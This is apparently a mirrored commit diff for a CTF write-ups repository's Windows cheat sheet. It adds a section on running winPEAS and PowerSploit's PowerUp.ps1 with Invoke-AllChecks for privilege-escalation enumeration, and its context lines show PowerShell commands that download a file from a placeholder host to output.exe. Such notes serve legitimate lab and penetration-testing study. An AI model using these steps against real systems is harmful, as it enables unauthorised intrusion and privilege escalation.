mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2025-02-16 20:18:24 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
688c7cc4ce
commit
1f6e0da36f
1 changed files with 6 additions and 0 deletions
|
@ -275,6 +275,12 @@ dir /a:h `show only hidden files`<br/>
|
||||||
`powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe`<br />
|
`powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe`<br />
|
||||||
`powershell Invoke-WebRequest -Uri $ip -OutFile $filepath`
|
`powershell Invoke-WebRequest -Uri $ip -OutFile $filepath`
|
||||||
|
|
||||||
|
## Enumeration
|
||||||
|
|
||||||
|
* Running `winPEAS.exe` on the machine
|
||||||
|
* Running `PowerUp.ps1` (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) , documentation https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/ `. .\PowerUp.ps1` Then `Invoke-AllChecks`
|
||||||
|
|
||||||
|
|
||||||
## List Drives
|
## List Drives
|
||||||
`wmic logicaldisk get caption`
|
`wmic logicaldisk get caption`
|
||||||
|
|
||||||
|
|
Loading…
Add table
Reference in a new issue